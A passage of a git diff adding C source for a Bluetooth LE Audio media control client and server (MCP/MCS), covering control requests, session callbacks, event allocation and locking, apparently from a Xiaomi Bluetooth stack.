MCP_SEEKING_SPEED: { + status = bts_mcp_read_seeking_speed(addr); + break; + } + case MCP_PLAYING_ORDER: { + status = bts_mcp_read_playing_order(addr); + break; + } + case MCP_PLAYING_ORDERS_SUPPORTED: { + status = bts_mcp_read_playing_orders_supported(addr); + break; + } + case MCP_MEIDA_CONTROL_OPCODES_SUPPORTED: { + status = bts_mcp_read_media_control_opcodes_supported(addr); + break; + } + case MCP_TRACK_TITLE: { + status = bts_mcp_read_track_title(addr); + break; + } + case MCP_TRACK_DURATION: { + status = bts_mcp_read_track_duration(addr); + break; + } + case MCP_TRACK_POSITION: { + status = bts_mcp_read_track_position(addr); + break; + } + case MCP_MEDIA_STATE: { + status = bts_mcp_read_media_state(addr); + break; + } + case MCP_CURRENT_TRACK_OBJECT_ID: { + status = bts_mcp_read_current_track_object_id(addr); + break; + } + case MCP_NEXT_TRACK_OBJECT_ID: { + status = bts_mcp_read_next_track_object_id(addr); + break; + } + case MCP_PARENT_GROUP_OBJECT_ID: { + status = bts_mcp_read_parent_group_object_id(addr); + break; + } + case MCP_CURRENT_GROUP_OBJECT_ID: { + status = bts_mcp_read_current_group_object_id(addr); + break; + } + case MCP_SEARCH_RESULTS_OBJECT_ID: { + status = bts_mcp_read_search_results_object_id(addr); + break; + } + case MCP_CONTENT_CONTROL_ID: { + status = bts_mcp_read_content_control_id(addr); + break; + } + default: + BT_LOGW("%s, Unknown event!", __func__); + status = BT_STATUS_FAIL; + break; + } + + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, status); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_media_control_request(bt_address_t* addr, + LEA_MCP_MEDIA_CONTROL_OPCODE opcode, int32_t n) +{ + CHECK_ENABLED(); + bt_status_t ret; + BT_LOGD("%s, opcode:%d ", __func__, opcode); + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_media_control_request(addr, g_mcp_service.mcs_info.sid, opcode, n); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t bts_mcp_search_control_request(bt_address_t* addr, + uint8_t number, LEA_MCP_SEARCH_CONTROL_ITEM_TYPE type, uint8_t* parameter) +{ + CHECK_ENABLED(); + bt_status_t ret; + + pthread_mutex_lock(&g_mcp_service.device_lock); + if (!g_mcp_service.mcs_info.num) { + BT_LOGE("%s, mcs num is unexpected", __func__); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + + ret = bt_sal_lea_mcp_search_control_request(addr, g_mcp_service.mcs_info.sid, number, type, parameter); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s fail, err:%d ", __func__, ret); + pthread_mutex_unlock(&g_mcp_service.device_lock); + return BT_STATUS_FAIL; + } + pthread_mutex_unlock(&g_mcp_service.device_lock); + + return BT_STATUS_SUCCESS; +} + +static void* bts_mcp_set_callbacks(void* handle, lea_mcp_callbacks_t* callbacks) +{ + if (!g_mcp_service.started) + return NULL; + + return bt_remote_callbacks_register(g_mcp_service.callbacks, handle, (void*)callbacks); +} + +static bool bts_mcp_reset_callbacks(void** handle, void* cookie) +{ + if (!g_mcp_service.started) + return false; + + return bt_remote_callbacks_unregister(g_mcp_service.callbacks, handle, cookie); +} + +static const lea_mcp_interface_t leMcpInterface = { + .size = sizeof(leMcpInterface), + .read_remote_mcs_info = bts_mcp_read_remote_mcs_info, + .media_control_request = bts_mcp_media_control_request, + .search_control_request = bts_mcp_search_control_request, + .set_callbacks = bts_mcp_set_callbacks, + .reset_callbacks = bts_mcp_reset_callbacks, +}; + +/**************************************************************************** + * Public function + ****************************************************************************/ +static const void* get_lea_mcp_profile_interface(void) +{ + return &leMcpInterface; +} + +static bool mcp_allocator(void** data, uint32_t size) +{ + *data = malloc(size); + if (!(*data)) + return false; + + return true; +} + +static void lea_mcs_media_seesion_event_callback(void* cookie, int event, int ret, const char* data) +{ + BT_LOGD("%s, event:%d ", __func__, event); + + bt_status_t rt; + bt_address_t* addrs = NULL; + int num = 0; + + rt = adapter_get_connected_devices(BT_TRANSPORT_BLE, &addrs, &num, mcp_allocator); + if (rt != BT_STATUS_SUCCESS || num < 1) { + BT_LOGE("%s, Le connected devices get failed", __func__); + return; + } + + switch (event) { + case MEDIA_EVENT_START: { + bts_mcp_media_control_request(addrs + num - 1, MCP_MEDIA_CONTROL_PLAY, 0); // addrs + num - 1: the latest connected device + break; + } + case MEDIA_EVENT_PAUSE: { + bts_mcp_media_control_request(addrs + num - 1, MCP_MEDIA_CONTROL_PAUSE, 0); + break; + } + case MEDIA_EVENT_STOP: { + bts_mcp_media_control_request(addrs + num - 1, MCP_MEDIA_CONTROL_STOP, 0); + break; + } + case MEDIA_EVENT_PREV_SONG: { + bts_mcp_media_control_request(addrs + num - 1, MCP_MEDIA_CONTROL_PREVIOUS_TRACK, 0); + break; + } + case MEDIA_EVENT_NEXT_SONG: { + bts_mcp_media_control_request(addrs + num - 1, MCP_MEDIA_CONTROL_NEXT_TRACK, 0); + break; + } + default: + BT_LOGW("%s, Unknown event!", __func__); + break; + } +} + +static bt_status_t lea_mcp_init(void) +{ + BT_LOGD("%s", __func__); + g_mcp_service.mcs_info.num = 0; // no service + return BT_STATUS_SUCCESS; +} + +static bt_status_t lea_mcp_startup(profile_on_startup_t cb) +{ + BT_LOGD("%s", __func__); + bt_status_t status; + pthread_mutexattr_t attr; + mcp_service_t* service = &g_mcp_service; + if (service->started) + return BT_STATUS_SUCCESS; + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + if (pthread_mutex_init(&service->device_lock, &attr) < 0) + return BT_STATUS_FAIL; + service->callbacks = bt_callbacks_list_new(2); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + service->started = true; + service->media_session_handle = media_session_register(service, + lea_mcs_media_seesion_event_callback); + if (!service->media_session_handle) { + BT_LOGE("%s media session open failed.", __func__); + return BT_STATUS_FAIL; + } + return BT_STATUS_SUCCESS; +fail: + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->device_lock); + return status; +} + +static bt_status_t lea_mcp_shutdown(profile_on_shutdown_t cb) +{ + BT_LOGD("%s", __func__); + if (!g_mcp_service.started) + return BT_STATUS_SUCCESS; + pthread_mutex_lock(&g_mcp_service.device_lock); + g_mcp_service.started = false; + media_session_unregister(&g_mcp_service.media_session_handle); + pthread_mutex_unlock(&g_mcp_service.device_lock); + pthread_mutex_destroy(&g_mcp_service.device_lock); + bt_callbacks_list_free(g_mcp_service.callbacks); + g_mcp_service.callbacks = NULL; + return BT_STATUS_SUCCESS; +} + +static void lea_mcp_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_mcp_dump(void) +{ + printf("impl leaudio mcp dump"); + return 0; +} + +static const profile_service_t lea_mcp_service = { + .auto_start = true, + .name = PROFILE_MCP_NAME, + .id = PROFILE_LEAUDIO_MCP, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_mcp_init, + .startup = lea_mcp_startup, + .shutdown = lea_mcp_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_mcp_profile_interface, + .cleanup = lea_mcp_cleanup, + .dump = lea_mcp_dump, +}; + +void register_lea_mcp_service(void) +{ + register_service(&lea_mcp_service); +} + +void adapt_mcs_sid_changed(uint32_t sid) +{ + BT_LOGD("%s, sid:%d", __func__, sid); + g_mcp_service.mcs_info.num = CONFIG_BLUETOOTH_LEAUDIO_SERVER_MEDIA_CONTROL_NUMBER; + g_mcp_service.mcs_info.sid = sid; +} + +#endif diff --git a/service/profiles/leaudio/mcs/lea_mcs_event.c b/service/profiles/leaudio/mcs/lea_mcs_event.c new file mode 100644 index 0000000000000000000000000000000000000000..e530e0616fcb37006d5783d6bbbebe0c90b6e007 --- /dev/null +++ b/service/profiles/leaudio/mcs/lea_mcs_event.c @@ -0,0 +1,43 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "lea_mcs_event.h" + +mcs_event_t* mcs_event_new(mcs_event_type_t event, uint32_t mcs_id) +{ + return mcs_event_new_ext(event, mcs_id, 0); +} + +mcs_event_t* mcs_event_new_ext(mcs_event_type_t event, uint32_t mcs_id, size_t size) +{ + mcs_event_t* mcs_event; + + mcs_event = (mcs_event_t*)malloc(sizeof(mcs_event_t) + size); + if (mcs_event == NULL) + return NULL; + + mcs_event->event = event; + memset(&mcs_event->event_data, 0, sizeof(mcs_event->event_data) + size); + mcs_event->event_data.mcs_id = mcs_id; + return mcs_event; +} + +void mcs_event_destory(mcs_event_t* mcs_event) +{ + free(mcs_event); +} diff --git a/service/profiles/leaudio/mcs/lea_mcs_service.c b/service/profiles/leaudio/mcs/lea_mcs_service.c new file mode 100644 index 0000000000000000000000000000000000000000..1d81e9da7691f19e18af61603836e9eed4a10ace --- /dev/null +++ b/service/profiles/leaudio/mcs/lea_mcs_service.c @@ -0,0 +1,1598 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_mcs_service" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_mcs.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_mcs_event.h" +#include "lea_mcs_service.h" +#include "media_session.h" +#include "sal_lea_mcs_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Private Data + ****************************************************************************/ +#ifdef CONFIG_BLUETOOTH_LEAUDIO_MCS + +#define MCS_GROUPS_MAX 2 +#define MCS_TRACKS_MAX 2 +#define MCS_PLAYER_INACTIVE -2 + +#define CHECK_ENABLED() \ + { \ + if (!g_mcs_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define MCS_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_mcs_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct +{ + bool started; + callbacks_list_t* callbacks; + pthread_mutex_t device_lock; +} mcs_service_t; + +static mcs_service_t g_mcs_service = { + .started = false, + .callbacks = NULL, +}; + +static uint32_t lea_mcs_id = ADPT_LEA_GMCS_ID; +static char* MCS_TRACK_TITLE = "MiFire"; +static char* MCS_OBJECT_GROUP0 = "Group0"; +static char* MCS_OBJECT_TRACK0 = "Track0"; +static char* MCS_OBJECT_TRACK1 = "Track1"; +static void* control_session = NULL; +static bool isRemoteControl = false; +static int mcs_cur_group_oid = MCS_GROUPS_MAX; +static int mcs_cur_track_oid = MCS_TRACKS_MAX; +static int mcs_next_track_oid = MCS_TRACKS_MAX; +static int mcs_player_inactive = MCS_PLAYER_INACTIVE; +static lea_adpt_mcs_media_state_t current_state; +static lea_object_id mcs_group_oids[MCS_GROUPS_MAX]; +static lea_object_id mcs_track_oids[MCS_TRACKS_MAX]; + +static bt_status_t lea_mcs_add(); +static bt_status_t lea_mcs_remove(); +static bt_status_t lea_mcs_set_media_player_info(); +static bt_status_t lea_mcs_add_object(uint32_t mcs_id, uint8_t type, uint8_t* name, void* obj_ref); +static bt_status_t lea_mcs_playing_order_changed(uint8_t order); +static bt_status_t lea_mcs_media_state_changed(lea_adpt_mcs_media_state_t state); +static bt_status_t lea_mcs_playback_speed_changed(int8_t speed); +static bt_status_t lea_mcs_seeking_speed_changed(int8_t speed); +static bt_status_t lea_mcs_track_title_changed(uint8_t* title); +static bt_status_t lea_mcs_track_duration_changed(int32_t duration); +static bt_status_t lea_mcs_track_position_changed(int32_t position); +static bt_status_t lea_mcs_current_track_changed(lea_object_id track_id); +static bt_status_t lea_mcs_next_track_changed(lea_object_id track_id); +static bt_status_t lea_mcs_current_group_changed(lea_object_id group_id); +static bt_status_t lea_mcs_parent_group_changed(lea_object_id group_id); +static bt_status_t lea_mcs_media_control_response(lea_adpt_mcs_media_control_result_t result); +static void* lea_mcs_set_callbacks(void* handle, lea_mcs_callbacks_t* callbacks); +static bool lea_mcs_reset_callbacks(void** handle, void* cookie); + +static void lea_mcs_process_message(void* data) +{ + mcs_event_t* msg = (mcs_event_t*)data; + BT_LOGD("%s, msg->event:%d ", __func__, msg->event); + switch (msg->event) { + case MCS_STATE: { + MCS_CALLBACK_FOREACH(g_mcs_service.callbacks, mcs_state_cb, msg->event); + break; + } + case MCS_PLAYER_SET: { + lea_mcs_add_object(msg->event_data.mcs_id, ADPT_LEA_MCS_OBJECT_GROUP, + (uint8_t*)MCS_OBJECT_GROUP0, (void*)(ADPT_LEA_MCS_OBJECT_GROUP << 16)); + lea_mcs_add_object(msg->event_data.mcs_id, ADPT_LEA_MCS_OBJECT_TRACK, + (uint8_t*)MCS_OBJECT_TRACK0, (void*)0); + lea_mcs_add_object(msg->event_data.mcs_id, ADPT_LEA_MCS_OBJECT_TRACK, + (uint8_t*)MCS_OBJECT_TRACK1, (void*)1); + break; + } + case MCS_OBJECT_ADDAD: + case MCS_OBJECT_REMOVED: + case MCS_SEGMENTS_STATE: + break; + case MCS_SET_PLAYBACK_SPEED: + case MCS_SET_CURRENT_TRACK: + case MCS_SET_NEXT_TRACK: + case MCS_SET_CURRENT_GROUP: + case MCS_SET_PLAYING_ORDER: { + MCS_CALLBACK_FOREACH(g_mcs_service.callbacks, mcs_state_cb, msg->event); + break; + } + case MCS_CONTROL_POINT_PLAY: { + if (current_state == ADPT_LEA_MCS_MEDIA_STATE_PLAYING) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + break; + } + + if (media_session_start(control_session) < 0) { + BT_LOGE("%s, Session: Play control failed", __func__); + if (media_session_start(control_session) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_PAUSE: { + if (current_state == ADPT_LEA_MCS_MEDIA_STATE_PAUSED) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + break; + } + + if (media_session_pause(control_session) < 0) { + BT_LOGE("%s, Session: Pause control failed", __func__); + if (media_session_pause(control_session) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_STOP: { + if (current_state == ADPT_LEA_MCS_MEDIA_STATE_PAUSED) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_SUCCESS); + break; + } + + if (media_session_pause(control_session) < 0) { + BT_LOGE("%s, Session: Stop-Pause control failed", __func__); + if (media_session_pause(control_session) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + + if (media_session_seek(control_session, 0) < 0) { + BT_LOGE("%s, Session: pause-seek(0) control failed", __func__); + // todo: update position + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_PREVIOUS_TRACK: { + if (media_session_prev_song(control_session) < 0) { + BT_LOGE("%s, Session: PREVIOUS_TRACK control failed", __func__); + if (media_session_prev_song(control_session) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_NEXT_TRACK: { + if (media_session_next_song(control_session) < 0) { + BT_LOGE("%s, Session: NEXT_TRACK control failed", __func__); + if (media_session_next_song(control_session) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_MOVE: { + uint32_t position, duration; + if (media_session_get_position(control_session, &position) < 0 || media_session_get_duration(control_session, &duration) < 0) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + + int32_t offset = msg->event_data.valueint32; + if (offset > (int32_t)(duration - position)) { + position = duration; + } else if (offset < -(int32_t)position) { + position = 0; + } else { + position += offset; + } + + if (media_session_seek(control_session, position) < 0) { + BT_LOGE("%s, Session: MOVE_RELATIVE control failed", __func__); + if (media_session_seek(control_session, position) == mcs_player_inactive) { + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_PLAYER_INACTIVE); + current_state = ADPT_LEA_MCS_MEDIA_STATE_INACTIVE; + lea_mcs_media_state_changed(current_state); + break; + } + lea_mcs_media_control_response(ADPT_LEA_MCS_MEDIA_CONTROL_CANT_BE_COMPLETED); + break; + } + isRemoteControl = true; + break; + } + case MCS_CONTROL_POINT_FAST_REWIND: + case MCS_CONTROL_POINT_FAST_FORWARD: + case MCS_CONTROL_POINT_PREVIOUS_SEGMENT: + case MCS_CONTROL_POINT_NEXT_SEGMENT: + case MCS_CONTROL_POINT_FIRST_SEGMENT: + case MCS_CONTROL_POINT_LAST_SEGMENT: + case MCS_CONTROL_POINT_FIRST_TRACK: + case MCS_CONTROL_POINT_LAST_TRACK: + case MCS_CONTROL_POINT_PREVIOUS_GROUP: + case MCS_CONTROL_POINT_NEXT_GROUP: + case MCS_CONTROL_POINT_FIRST_GROUP: + case MCS_CONTROL_POINT_LAST_GROUP: + case MCS_SET_POSITION: + case MCS_CONTROL_POINT_GOTO_SEGMENT: + case MCS_CONTROL_POINT_GOTO_TRACK: + case MCS_CONTROL_POINT_GOTO_GROUP: + case MCS_SEARCH_TRACK_NAME: + case MCS_SEARCH_ARTIST_NAME: + case MCS_SEARCH_ALBUM_NAME: + case MCS_SEARCH_GROUP_NAME: + case MCS_SEARCH_EARLIEST_YEAR: + case MCS_SEARCH_LATEST_YEAR: + case MCS_SEARCH_GENRE: + case MCS_SEARCH_TRACKS: + case MCS_SEARCH_GROUPS: { + MCS_CALLBACK_FOREACH(g_mcs_service.callbacks, mcs_state_cb, msg->event); + break; + } + default: + BT_LOGW("%s, Unknown event!", __func__); + break; + } + mcs_event_destory(msg); +} + +static bt_status_t lea_mcs_send_msg(mcs_event_t* msg) +{ + assert(msg); + + do_in_service_loop(lea_mcs_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +/**************************************************************************** + * sal callbacks + ****************************************************************************/ +void lea_on_mcs_state(uint32_t mcs_id, uint8_t ccid, bool added) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_STATE, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint8 = ccid; + event->event_data.valuebool = added; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_player_info_set_result(uint32_t mcs_id, void* player_ref, bool result) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_PLAYER_SET, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.ref = player_ref; + event->event_data.valuebool = result; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_object_added_result(uint32_t mcs_id, void* obj_ref, lea_object_id obj_id) +{ + BT_LOGD("%s, [MCS][obj_id:%02x%02x%02x%02x%02x%02x]", __func__, obj_id[5], obj_id[4], + obj_id[3], obj_id[2], obj_id[1], obj_id[0]); + + int idx = (uint32_t)obj_ref & 0xFF; + int type = (uint32_t)obj_ref >> 16; + if (type == ADPT_LEA_MCS_OBJECT_GROUP) { + memcpy(mcs_group_oids + idx, obj_id, sizeof(lea_object_id)); + if (mcs_cur_group_oid == MCS_GROUPS_MAX) { + mcs_cur_group_oid = idx; + lea_mcs_current_group_changed(obj_id); + } + } else { + memcpy(mcs_track_oids + idx, obj_id, sizeof(lea_object_id)); + if (mcs_cur_track_oid == MCS_TRACKS_MAX) { + mcs_cur_track_oid = idx; + lea_mcs_current_track_changed(obj_id); + } else if (idx == (mcs_cur_track_oid + 1)) { + mcs_next_track_oid = idx; + lea_mcs_next_track_changed(obj_id); + } + } +} + +void lea_on_mcs_set_position_result(uint32_t mcs_id, int32_t position) +{ + BT_LOGD("%s, position:%d ", __func__, position); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_POSITION, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint32 = position; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_set_playback_speed_result(uint32_t mcs_id, int8_t speed) +{ + BT_LOGD("%s, speed:%d ", __func__, speed); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_PLAYBACK_SPEED, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint8 = speed; + lea_mcs_send_msg(event); +} + +void lea_on_mcs_set_current_track_result(uint32_t mcs_id, lea_object_id track_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_CURRENT_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (track_id != NULL) + memcpy(&event->event_data.obj_id, track_id, sizeof(lea_object_id)); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_set_next_track_result(uint32_t mcs_id, lea_object_id track_id) +{ + BT_LOGD("%s", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_NEXT_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (track_id != NULL) + memcpy(&event->event_data.obj_id, track_id, sizeof(lea_object_id)); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_set_current_group_result(uint32_t mcs_id, lea_object_id group_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_CURRENT_GROUP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + if (group_id != NULL) + memcpy(&event->event_data.obj_id, group_id, sizeof(lea_object_id)); + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_set_playing_order_result(uint32_t mcs_id, uint8_t order) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_SET_PLAYING_ORDER, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueuint8 = order; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_play_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_PLAY, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_pause_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_PAUSE, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_fast_rewind_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_FAST_REWIND, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_fast_forward_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_FAST_FORWARD, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_stop_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_STOP, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_move_result(uint32_t mcs_id, int32_t offset) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_MOVE, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint32 = offset; + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_previous_segment_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_PREVIOUS_SEGMENT, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_next_segment_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_NEXT_SEGMENT, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_first_segment_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_FIRST_SEGMENT, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_last_segment_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_LAST_SEGMENT, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_goto_segment_result(uint32_t mcs_id, int32_t n_segment) +{ + BT_LOGD("%s, segment num:%d ", __func__, n_segment); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_GOTO_SEGMENT, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + event->event_data.valueint32 = n_segment; + lea_mcs_send_msg(event); +} + +void lea_on_mcs_previous_track_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_PREVIOUS_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_next_track_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_NEXT_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_first_track_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_FIRST_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_last_track_result(uint32_t mcs_id) +{ + BT_LOGD("%s ", __func__); + mcs_event_t* event; + + event = mcs_event_new(MCS_CONTROL_POINT_LAST_TRACK, mcs_id); + if (!event) { + BT_LOGE("%s, Failed to create msg", __func__); + return; + } + + lea_mcs_send_msg(event); +} + +void lea_on_mcs_goto_track_result(uint32_t 